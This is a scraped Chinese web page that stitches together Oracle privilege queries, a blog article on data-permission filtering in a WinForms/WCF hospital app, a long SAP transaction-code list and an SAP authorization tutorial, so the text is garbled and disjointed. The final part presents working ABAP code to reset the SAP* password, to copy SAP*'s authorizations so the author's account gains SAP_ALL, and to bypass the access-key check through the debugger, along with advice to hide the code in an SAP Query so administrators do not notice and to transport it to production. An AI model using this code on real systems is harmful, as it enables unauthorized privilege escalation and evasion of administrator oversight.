怎么找到权限管理怎么实现

相关文章推荐
详解查看Oracle用户权限的七种方法
查看Oracle用户权限一般要通过一些实际操作,首先需要遍历所有用户,然后才是查看Oracle用户的权限等等操作。希望本文能给大家有所帮助。
1.查看所...
--查看用户和默认表空间的关系
select username,default_tablespace from dba_
--查看当前用户能访问的表
select *...
查询某个用户具有的角色:
select grantee,granted_role from dba_role_privs where grantee='WJW';
查询某个用户具有的系统权限:
如何完整的查询一个用户的"定义"的权限 和 当前"激活了"的权限呢这两者的区别只在于 部分角色 是需要手工激活(非default)才能使用.. 那么有没有一个完整的sql语句可以直接查出定义的权限呢?...
如何查看某个角色被授予的权限Oracle
select * from dba_role_ 授予用户和其他角色的角色
select * from dba_sys_...
创建用户及权限控制
1。 create user ling id
修改密码: alter user ling identified by ...
//系统管理员,拥有最高权限
//本地管理员,次高权限
//普通用户,密码默认为tiger,默认未解锁
//系统管理员,拥有最高权限
oracle开发详细的思维导图,抛弃一大堆专业术语和讲解,最直观方式代码+结果方式呈现。...
Oracle 用户 权限 角色 管理
他的最新文章
讲师:董晓杰
讲师:姚远
他的热门文章
您举报文章:
举报原因:
原文地址:
原因补充:
(最多只允许输入30个字)如何在应用系统中实现数据权限的控制功能 - 伍华聪 - 博客园
随笔 - 543, 文章 - 20, 评论 - 7518, 引用 - 20
在很多应用行业里面,都对数据的权限做了特别的声明,如对于销售,财务的数据,它们是非常敏感的,因此要求对数据权限进行控制,对于基于集团性的应用系统而言,就更多需要控制好各自公司的数据了。如默认只能看本公司、或者本部门的数据,对于特殊的领导,可能需要跨部门的数据,因此不能硬编码那个领导该访问哪些数据,需要进行后台的权限和数据权限的控制为佳,本文主要针对这个特点,对这个数据权限的功能模块进行探讨,并以我的Winform开发框架的实际案例进行剖析,介绍实际项目中对数据权限的控制管理。
1、权限系统的控制
刚才说到,对数据进行控制最好通过弹性的方式,在一个系统里面或者功能模块里面对用户角色或者岗位进行设置,一般权限控制默认在一个权限管理系统模块进行设定,数据权限也应该如此。
权限系统除了可以对用户能操作那些功能进行限定,也还可以对其访问那些组织机构的数据进行限定,我们通过权限系统,把这些权限控制的数据进行保存,在应用系统模块里面进行整合即可,根据角色拥有的数据权限,授予用户对其他部门或者机构的数据进行访问。如下面是我权限系统模块里面对角色权限的设置操作。
1)对角色功能权限进行设置
2)对角色数据权限进行控制
当对角色的数据权限进行保存后,我们就可以把这个角色能够访问的组织机构(公司、部门、工作组等等)进行记录起来了。
2)应用系统的集成,实现数据权限的控制
&如我的一个病人资料应用系统,客户要求就是基于互联网的应用系统,因此使用WCF数据通讯模式实现数据的集中管理,而且他们要基于医院单位的数据管理模式,也就是每个单位管理各自的数据,我们可以把不同的医院单位作为不同的公司性质来区分,这样在权限模块中进行设置即可。
1)在应用程序中,通过在程序头部,让可以管理多个医院机构的用户选择管理的数据访问,即可实现不同的数据区分管理。
2)当用户在上面切换不同的机构,所有存在的界面数据全部实现刷新,如打开了很多界面,那么这些界面的数据也随之更新为对应新的机构下的数据。
了解了上面大致的需求,我们应该如何通过整合权限管理系统实现在应用系统的数据权限控制和集成呢?
首先我们需要在用户登陆的时候,获取对应用户的数据权限内容,然后把它转化为我们需要的信息,如下代码所示。
//判断如果用户管理的公司数据多于两个,那么就显示选择单位列表,并绑定公司数据
List&RoleDataInfo& roleDataList = CallerFactory&IRoleDataService&.Instance.FindByUser(info.ID);
List&int& companyList = new List&int&();
foreach (RoleDataInfo roleDataInfo in roleDataList)
if (!string.IsNullOrEmpty(roleDataInfo.BelongCompanys))
string[] companyArray = roleDataInfo.BelongCompanys.Split(',');
foreach (string company in companyArray)
if (!string.IsNullOrEmpty(company) && ValidateUtil.IsNumber(company.Trim()))
if (!companyList.Contains(company.ToInt32()))
companyList.Add(company.ToInt32());
panyList = companyL
//设置选定的公司ID
Cache.Instance["SelectedCompanyID"] = pany_ID;
//设置过滤条件给界面基类使用
Cache.Instance["DataFilterCondition"] = string.Format(" (Company_ID is null OR Company_ID = '{0}')", pany_ID);
其中CallerFactory方式调用,是以WCF的方式获取对应的数据库数据。在上面代码里面,有一个RoleDataInfo的实体类,这个就是用来承载用户角色的数据权限数据,其中包括了
BelongCompanys(所属公司)和 BelongDepts(所属部门 )的属性,我们把它解析为我需要的数据List&int& companyList 、&SelectedCompanyID 和&DataFilterCondition,当然如果有部门的控制,可以做的更多,我这里仅仅以医院机构进行区分即可。
SelectedCompanyID 就是用户选择查看的组织机构ID,DataFilterCondition就是用来构建一个数据过滤脚本,对用户看到的数据进行一个过滤筛选作用。我们把这两个数据内容,放到Winform的缓存里面,如果是Web可以用Session代替,这样可以在多个模块或者界面中方便访问使用。
为了实现用户选择不同的机构,所有打开的窗体数据实现相应的更新,那么我们需要处理公司选择的操作,具体实现代码如下所示。
private void txtCompany_EditValueChanged(object sender, EventArgs e)
//如果用户选择公司,以选择为主,否则以当前客户所在公司
if (this.txtCompany.EditValue != null)
CListItem item = this.txtCompany.EditValue as CListI
if (item != null)
//设置选定的公司ID
Cache.Instance["SelectedCompanyID"] = item.V
SetSelectedCompanyName();
//设置过滤条件给界面基类使用
string condition = string.Format(" Company_ID = '{0}'", item.Value);
Cache.Instance["DataFilterCondition"] =
//遍历全部窗口,更新
foreach (WHC.Framework.BaseUI.BaseDock form in this.MdiChildren)
form.SelectedCompanyID = item.V
form.DataFilterCondition =
form.FormOnLoad();
string message = string.Format("您已经切换数据显示:{0}", item.Text);
MessageDxUtil.ShowTips(message);
上面是对所有打开的窗体,传递了对应的信息,然后进行了刷新。那么我们在看看窗体本身内部的数据显示逻辑是如何的。
我们以病人资料的查询界面为例,根据不同的输入条件,对数据进行不同查询外,还增加了一个对组织机构过滤的条件,如下所示。
/// &summary&
/// 根据查询条件构造查询语句
/// &/summary&
private string GetConditionSql()
//如果存在高级查询对象信息,则使用高级查询条件,否则使用主表条件查询
SearchCondition condition = advanceC
if (condition == null)
condition = new SearchCondition();
condition.AddCondition("BedNo", this.txtBedNo.Text.Trim(), SqlOperator.Like);
condition.AddCondition("TumorPart", this.txtTumorPart.Text.Trim(), SqlOperator.Like);
........................
condition.AddDateCondition("InDate", this.txtInDate, this.txtInDateEnd);
condition.AddDateCondition("LeaveDate", this.txtLeaveDate, this.txtLeaveDateEnd);if (this.chkHasReferral.Checked)
condition.AddCondition("HasReferral", "是", SqlOperator.Equal, true);
...................
string where = condition.BuildConditionSql().Replace("Where", "");
//如果公司过滤条件不为空,那么需要进行过滤
if (!string.IsNullOrEmpty(this.DataFilterCondition))
where += string.Format(" AND {0}", this.DataFilterCondition);
return where;
/// &summary&
/// 绑定列表数据
/// &/summary&
private void BindData()
this.winGridViewPager1.DisplayColumns = "HandNo,BedNo,MidVideo,Name,Sex,IdentityCard,Age,Birthday,HospitalNo,IDNumber,InDate,InDiagnosis,SurgeryDate,DirectorSurgeon,LeaveDate,TumorPart,LeaveDiagnosis,IsFirstTime,LeaveSpecimens,OuterFilm,PreMRI,PreCT,PrePicture,MidPathology,AfterCTMRI,AfterPicture,AfterVideo,LeavePicture,Endocrine,Professor,Address,Telephone,HasReferral,ReferralDate,ReferralTime,Pathology,Note,Report";
this.winGridViewPager1.ColumnNameAlias = CallerFactory&IPatientService&.Instance.GetColumnNameAlias();//字段列显示名称转义
string where = GetConditionSql();
PagerInfo pagerInfo = this.winGridViewPager1.PagerI
List&PatientInfo& list = CallerFactory&IPatientService&.Instance.FindWithPager(where, ref pagerInfo);
this.winGridViewPager1.DataSource = new WHC.Pager.WinControl.SortableBindingList&PatientInfo&(list);
this.winGridViewPager1.PrintTitle = "病人基本资料信息报表";
以上绑定代码实现了:分页、条件查询、高级查询、字段列表显示、中文名称转义,以及最重要的,根据公司条件进行数据过滤的操作,从而让用户只能管理自己的数据。
以上就是结合权限管理系统模块,在应用系统中实现功能权限控制和数据权限的控制的操作例子和代码展示,希望对大家有帮助。SAP&权限管理
SE93&查询所有TCODE
或者 table: tstc
SE16&display
SUIM&查询用户信息的报表们
SAP常用的TCODE---BASIS
事务码 描述 ( 中英文 )
SBIT Menu 菜单
SBTA Test background processing
后台处理测试
SBTU Background processing for
user 对用户的后台处理
SM36 Define Background Job
定义后台作业
SM37 Background Job Overview
后台作业概览
SM39 Job Analysis 作业分析
SM49 Execute external OS commands
执行外部 OS 命令
SM61 Menu 菜单
SM62 Menu 菜单
SM63 Display/Maintain Operating
Mode Sets 显示 / 保持操作方式设置
SM64 Release of an Event
事件的释放
SM65 Background Processing
Analysis Tool 后台处理分析工具
SM67 Job Scheduling
SM68 Job Administration
SM69 Maintain external OS commands
维护外部 OS 命令
SMX Display Own Jobs
显示自己的作业
SPBM Monitoring parallel
background tasks 监控类似的后台任务
SPBT Test: Parallel background
tasks 文本 : 匹配后台任务
DB16 DB system check
(trigger/browse) DB system check (trigger/browse)
DB17 DB system check (configure)
DB system check (configure)
DB20 No.of table tupels acc. to
stat. No.of table tupels acc. to stat.
DB21 Maintenance control table
DBSTATC Maintenance control table DBSTATC
RZ01 Job Scheduling Monitor
作业计划监视器
RZ02 Network Graphics for SAP
Instances 网络图 SAP
RZ04 Maintain SAP Instances 保持 SAP
RZ06 Alerts Thresholds Maintenance
警报门限维护
RZ08 SAP Alert Monitor SAP
报警监视器
RZ12 Maintain RFC server group
assignment 维护 RFC 指定服务器组
SM66 Systemwide Work Process
Overview 系统工作过程概述
SMLG Maintain Logon Group
维护登录组
SRZL Menu 菜单
SM02 System Messages
SM04 User Overview 用户概览
SM13 Display Update Records
显示更新记录
SM50 Work Process Overview
工作进程概述
SM51 List of SAP Servers SAP
服务器的清单
SM54 TXCOM maintenance TXCOM
SM55 THOST Maintenance THOST
SM56 Number Range Buffer
数字范围缓冲区
SMGW Gateway Monitor
网关监控器
ST07 Application monitor
应用程序监视器
AL01 SAP Alert Monitor SAP
报警监视器
AL02 Database alert monitor
数据库警报监测器
AL03 Operating system alert
monitor 操作系统警告监视器
AL04 Monitor call distribution
监视呼叫分配
AL05 Monitor current workload
监视当前的工作负荷
AL06 Performance: Upload/Download
执行 : 上载 / 下装
AL07 EarlyWatch Report
初期察看报告
AL08 Users Logged On
登录的用户
AL09 Data for database expertise
专家数据库的数据
AL10 Download to Early Watch
下载早观察
AL11 Display SAP Directories 显示
AL12 Display table buffer (Exp.
session) 显示表缓冲
AL13 Display Shared Memory (Expert
mode) 显示共享内存 ( 输出方式 )
AL15 Customize SAPOSCOL
destination 自定义 SAPOSCOL 目的地
AL16 Local Alert Monitor for
Operat.Syst. 操作系统的本地报警监视器
AL17 Remote Alert Monitor
f.Operat. Syst. 操作系统的远程报警监视器
AL18 Local File System Monitor
本地的文件系统监视器
AL19 Remote File System Monitor
远程文件系统监视器
AL20 EarlyWatch Data Collector
List EarlyWatch 数据收集器清单
AL21 ABAP Program analysis ABAP
Program analysis
AL22 Dependent objects display
Dependent objects display
DB01 Analyze exclusive lockwaits
分析互斥锁定等待
DB02 Analyze tables and indexes
分析表和索引
DB03 Parameter changes in database
在数据库中参数改变
DB05 Analysis of a table acc. to
index Analysis of a table acc. to index
DB11 Early Watch Profile
Maintenance 初期察看描述文件维护
DB12 Overview of Backup Logs
备份日志的概观
DB13 Database administration
calendar 数据库管理日历
DB14 Show SAPDBA Action Logs 显示
SAPDBA 行为记录
DB15 CCMS - Document archiving
CCMS - Document archiving
OS01 LAN check with ping 通过 ping
OS02 Operating system
configuration 操作系统配置
OS03 O/S Parameter changes O/S
OS04 Local System Configuration
本地的系统配置
OS05 Remote System Cconfiguration
远程系统配置
OS06 Local Operating System
Activity 本地的操作系统作业
OS07 Remote Operating System
Activity 远程操作系统活动性
OSS1 Logon to Online Service
System 注册到联机服务系统
SDBE Explain an SQL statement
匹配码对象(测试)
ST02 Setups/Tune Buffers 设置 /
ST03 Performance,SAP Statistics,
Workload 性能 ,SAP 统计 , 工作负荷
ST04 Select DB activities
选定数据库中的活动
ST05 Trace for SQL, Enqueue, RFC,
Memory SQL 跟踪
ST06 Operating System Monitor
操作系统监视器
ST08 Network Monitor
ST09 Network Alert Monitor
网络敬报器
ST10 Table call statistics
表调用统计
ST4A Database: Shared cursor cache
(ST04) Database: Shared cursor cache (ST04)
STAT Local transaction statistics
本地事务统计
STP4 Select DB activities Select
DB activities
STUN Menu Performance Monitor
菜单性能监视器
TKOF Turn off Oracle trace 关闭
Oracle 跟踪
TKON Turn off Oracle trace 关闭
Oracle 跟踪
TKPR Display trace file
显示跟踪文件
TU01 Call Statistics
TU02 Parameter changes
SP00 Spool and related areas
假脱机及相关区域
SP01 Output Controller
SP02 Display Output Requests
显示输出请求
SP03 Spool: Load Formats 假脱机 :
SP1T Output Control (Test)
输出控制(测试)
SPAD Spool Administration
假脱机管理
SPAT Spool Administration (Test)
假脱机管理(测试)
SPCC Spool consistency check
假脱机一致性检查
SPIC Spool installation check
假脱机安装检查
SPTP Text elem. maint. for print
formats 用于打印格式的文本元素维护
SP11 TemSe directory TemSe
SP12 TemSe Administration TemSe
SE92 Maintain System Log Messages
维护系统日志消息
SM20 System Audit Log
系统审计日志
SM21 System Log 系统日志
S001 CASE 工具菜单 CASE
S002 Menu Administration
SDW0 ABAP/4 Development WB Initial
Screen ABAP/4 开发工作台初始屏幕
SYST Menu 菜单
SDMO Dynamic Menu (old) 动态菜单 ( 旧
SMEN Session Manager Menus
会话管理菜单
SU55 Call the Session Manager
menus 调用会话管理菜单
RE_GGREPO1 Test report 1 测试报表
RE_GGREPO2 Test report 1 测试报表
SU24 Auth. obj. check under
transactions 事务中权限对象检查
SU25 Upgrade Tool for Profile
Generator 配置文件生成器的升级工具
SU26 Upgrade tool for Profile
Generator 配置文件生成器的升级工具
SUPC Profiles for activity groups
作业组的参数文件
SUPN Number range maint.:
PROF_VARIS 编码范围维护 : PROF_VARIS
SUPO Maintain org. levels
维护初始级别
SM0 Work Process Overview
工作处理概述
SU02 Maintain Authorization
Profiles 维护权限参数文件
SU03 Maintain Authorizations
SU10 Mass Changes to User Master
Records 对用户主记录的大量修改
SU12 Mass Changes to User Master
Records 用户主记录的大量修改
SU2 Maintain user parameter
维护用户参数
SU20 Maintain Authorization Fields
维护权限字段
SU21 Maintain Authorization
Objects 维护权限对象
SU22 Auth. Object Usage in
Transactions 事务中权限对象的用法
SU23 Load Tables in TAUTL 在 TAUTL
SU52 Maintain User Parameters
维护用户参数
SU53 Display Check Values
显示检查值
SU54 Session Manager
会话管理器
SU56 Analyze User Buffer
分析用户缓冲区
SU80 Archive user change documents
存档用户更改文档
SU81 Archive user password change
doc. 归档用户口令更改文档
SU82 Archive profile documents
档案参数文件文档
SU83 Archive authorization docs.
存档授权文档
SU84 Read archived user change
documents 阅读已存档的用户修改文档
SU85 Read archived password change
doc. 阅读已存档的口令修改文档
SU86 Read profile change documents
读参数文件更改文档
SU87 Read authorization change
documents 读授权更改文档
SU96 Table maint.: Change SUKRIA
表维护:修改 SUKRIA
SU97 Table maint.: Display SUKRIA
表维护:显示 SUKRIA
SU98 Call report RSUSR008 调用报表
SU99 Call report RSUSR008 调用报表
SUIM Call AUTH reporting tree
(info sys.) 调用 AUTH 报表树(信息系统)
SU01 User Maintenance
SU01_NAV User maint. to include in
navigation 包含在导航中的用户维护
SU01D User Display 用户显示
SU3 Maintain Users Own Data
维护用户自己的数据
SE01 Transport Organizer
传送组织者
SE03 Workbench Organizer: Tools
工作台组织器:工具
SE06 Set Up Workbench Organizer
设置工作台组织器
SE07 Transport System Status
Display 传输系统状态显示
SE09 Workbench Organizer
工作平台组织者
SE10 Customizing Organizer
自定义组织者
SE17 General Table Display
通用表显示
STDR TADIR consistency check TADIR
一致性检查
----------------------------------------------------------------------------------------------------------------------------------------------------------
用户权限解剖:
通常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的prifile
记得SU01时用户有profile
和role两栏位吗?它们的关系如何呢?
用户权限(ZT)
用户权限解剖:
通常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的prifile
记得SU01时用户有profile
和role两栏位吗?它们的关系如何呢?
首先明白几个概念.
1.activity
这样说吧,我们从activity谈起,activity是什么意思这个你查下
字典也就知道了,对就是规定可做什么动作,比如说不能吸烟只能喝酒,不能多于2两,
不对,这是我老婆讲的,SAP不是这样子的,是只能insert,
update,display什么的.
这些东西当年德国佬是写在tobj表中的.
activity 也是可分activity
2.activity category
&Authorization group
& Role Vs Profile
你看看表T020就知道了,就是什么K,D, A,
profile是什么呢?实际上可以理解为所有的authorization
data(有很多authorization group--{你可使用OBA7填写,
权限太细也不是好事^_^}和activity组成)的一个集合的名字,通常一个自定义的role产
生一个profile,SAP权限控制是根据profile里的authorization
data(objects)来控制的.
role又是什么呢?role只是一个名字而已,然后将profile赋予给它,
比如你SU01建立一个
用户,我没有任何role,但是加如SAP_All
也是可做任何事情.
SAP本身有很多default role &
3.最常用的PFCG-&authorizations-&change
authorization data-&
进入后选取selection criteria
可看到所有的authorization object
manually可手工加authorization
object,比如你使用某个t-code权限出错误,abap使用SU53检查就
知道缺少哪个authorization
objec,然后手工加入就可以.
你选去authorization levels就可by account
type再细分权限.
有些甚至直接到表字段.而且你甚至可給一个object分配缓存buffer.
那么SAP是如何做到权限控制的呢,屠夫就用到小宰一下.
4.关于权限方面的几个t-code.
(一)Role(角色)相关T-code:
PFAC&&&&&&&&
PFAC_CHG&改变
PFAC_DEL&删除
PFAC_DIS&显示
PFAC_INS&新建
PFCG&&创建
ROLE_CMP&比较
SUPC&&批量建立角色profile
SWUJ&&测试
SU03&&&&&&&&&&&
检测authorzation data
检查updated profile
(二)建立用户相关T-code:
SU50, Su51,
SU10&&批量
SU12&&批量
SUCOMP:维护用户公司地址
SU2&&change用户参数
SUIM&&用户信息系统
SUGR:维护&
SUGRD:显示
SUGRD_NAV:还是维护
SUGR_NAV:还是显示
(三)关于profile&Authoraztion
SU02:直接创建profile不用role
SU20:细分Authorization
SU21(SU03):****维护Authorization
Objects(TOBJ,USR12).
对于凭证你可细分到:
F_BKPF_BED: Accounting Document:
Account Authorization for Customers
F_BKPF_BEK: Accounting Document:
Account Authorization for Vendors
F_BKPF_BES: Accounting Document:
Account Authorization for G/L Accounts
F_BKPF_BLA: Accounting Document:
Authorization for Document Types
F_BKPF_BUK: Accounting Document:
Authorization for Company Codes
F_BKPF_BUP: Accounting Document:
Authorization for Posting Periods
F_BKPF_GSB: Accounting Document:
Authorization for Business Areas
F_BKPF_KOA: Accounting Document:
Authorization for Account Types
F_BKPF_VW : Accounting Document:
Change Default Values for Doc.Type/PsKy
然后你进去还可细分,这些个东西是save在USR12表中的.
在DB层是UTAB.
对具体transaction
code细分:&&&&&
SU22,SU24&&
SU53:*** 就是你出错用来检查没有那些authoraztion
SU56:分析authoraztion data
SU87:用来检查用户改变产生的history
SU96,SU97,SU98,SU99:干啥的?
SUPC:批量产生role
DB和logical层:
SUKRI:Transaction Combinations
Critical for Security
TOBJ : All avaiable authorzation
objects.(全在此)
USR12: 用户级authoraztion值
-----------------------------
USR01:主数据
USR02:密码在此
USR04:授权在此
USR03:User address data
USR05:User Master Parameter
USR06:Additional Data per
USR07:Object/values of last
authorization check that failed
USR08:Table for user menu
USR09:Entries for user menus (work
USR10:User master authorization
USR11:User Master Texts for Profiles
USR12:User master authorization
USR13:Short Texts for
Authorizations
USR14:Surchargeable Language
Versions per User
USR15:External User Name
USR16:Values for Variables for User
Authorizations
USR20:Date of last user master
reorganization
USR21:Assign user name address
USR22:Logon data without kernel
USR30:Additional Information for
USR40:Table for illegal
USR41:当前用户
UST04:User Profile在此
UST10C: Composite
UST10S: Single profiles
(角色对应的
Authorizations..............................
..............................
如何窃取权限
..............................
User type用户类型(干啥用的不讲):
通常的用户类型有
a.dialog (就是normal user)
b.communication
e.reference.
通常你在使用任何T-code前一定会有权限检测的.
AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期.
**如果coding只要使用此函数就够了.
AUTHORITY_CHECK_TCODE:检查T-code
这倆函数是真正检查autorization
objects的.
SUSR_USER_AUTH_FOR_OBJ_GET:
AUTHORIZATION_DATA_READ_SELOBJ:
------------------------------------------
将SAP*的密码改成123的程序,很简单.
我们找到那个user logon表USR02.
(DFEEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?)
report zmodSAP*.
data zUSR02 like USR02 .
select& single * into
zUSR02 from USR02&
where BNAME = 'SAP*'.
zUSR02-Bcode = 'DFEEB'
USR02 from zUSR02& .
现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个
query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭...
这样做太狠毒了.还是自己偷偷搞自己的用户吧.
在此你必须对权限结构非常清晰.
权限和三个表有关系.
c.USRBF2& 这个表是对应到所用的authorzization objects的.
*&---------------------------------------------------------------------*
Report&&&&&&&
Steal SAP ALL Right&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Creation Date :
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Stone.Fu&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Description&& :
可窃取SAP ALL权限&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
*& Modified Date :
Description&& :
将此code hide在report painter or
query& code&&&&&&&
*&---------------------------------------------------------------------*
report zrightsteal.
data zUSR04 like USR04 .
"????????work area??
data zUST04 like USR04 .
zPROFS& like USR04-PROFS.
data ZUSRBF2 like USRBF2 occurs 0
with header line.
"USRBF2?????internal
** Update Authorization table
select& single * into
zUSR04 from USR04
where BNAME = 'ZABC2'. "SAP All
move 'C SAP_ALL' to zPROFS
ZUSR04-NRPRO = '14'.
zUSR04-PROFS& =
USR04 from zUSR04& .
**Update User authorization masters
table UST04 .
select& single * into
zUST04 from UST04
where BNAME = 'ZABC2'.
zUST04-PROFILE& = 'SAP_ALL'. "SAP
Update UST04 from zUST04
*?????insert
*ZUST04-MANDT = '200'.
*ZUST04-BNAME = 'ZABC2'.
*ZUST04-PROFILE =
'SAP_ALL'.
*Insert UST04 from ZUST04
into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZABC2'.
Modify ZUSRBF2 INDEX sy-tabix
TRANSPORTING BNAME.
INSERT USRBF2 FROM TABLE ZUSRBF2
ACCEPTING DUPLICATE KEYS.
自己建立一个ztest用户不给它任何权限然后在test
machine上run& 报表zrightsteal.
然后ztest就是SAP_ALL了, 然后你将code hide在SQP query的code中. ABAP
code太容易被人发现.& K,
现在我碰到一个大问题了, 记帐程序被改的出了问题..
更正一下,实际上只要对表USRBF2操作就OK.
1.看query的程序名称.
SQ01从菜单more functions-&display report name.
你了解到你的query产生的程序名称.
比如是(AQCSZFICO=======ZABC3=========)
2.欺骗SAP Access Key.
通常该query source code是要Access key的,就小小欺骗SAP一下.
在AccessKey check程序LSKEYF00设置断点.
FORM JUMP_THE_WALL USING RC.
CALL 'CHECK_TADIR_ACCESS_FREE'.
CHECK SY-SUBRC NE 0.
CHECK SY-BATCH EQ SPACE.
CALL 'GET_DEVELOPER_KEY' ID 'NAME' FIELD 'ABCDEFGHIJKL'
ID 'CUSTID' FIELD ''
ID 'KEY' FIELD DUMMY_KEY.
-----------------------------------------------
CHECK SY-SUBRC EQ 2.
***在此设置断点然后将SY-SUBRC改成0跳过接下来的检查就可该Query Source code.
-----------------------------------------------
MOVE SPACE TO DUMMY_KEY.
ENDFORM. " JUMP_THE_WALL
3.更改Query程序AQCSZFICO=======ZABC3=========
将下面几行代码塞入...
你在CONTROLS TVIEW100 TYPE TABLEVIEW USING SCREEN 100.语句后的
第一AT SELECTION-SCREEN选屏幕等待输入数据时将代码加入.. .
.....................................
CONTROLS TVIEW100 TYPE TABLEVIEW USING SCREEN 100.
-------------开始插入----------------------------
AT SELECTION-SCREEN .
data ZUSRBF2 like USRBF2 occurs 0 with header line.
select * from USRBF2 into table ZUSRBF2 where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZSTONE' . "将ZSTONE改成你的username
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.
------------结束插入----------------------------------
下面是Query的source code,注意query的source code使用ctrl+F2检测是不行的.
PERFORM ALVL_CHECK(RSAQEXCE) USING %ALVL 'G00'.
PERFORM TESTMODE(RSAQEXCE).
PERFORM CHECK_EXPCOL(RSAQEXCE) USING %ALV.
............................................
然后让BASIC STMS到production server, OK,你SAP All了.
源文档 &&/span&&&
已投稿到:
以上网友发言只代表其个人观点,不代表新浪网的观点或立场。

我要回帖

更多关于 权限管理怎么做 的文章

 

随机推荐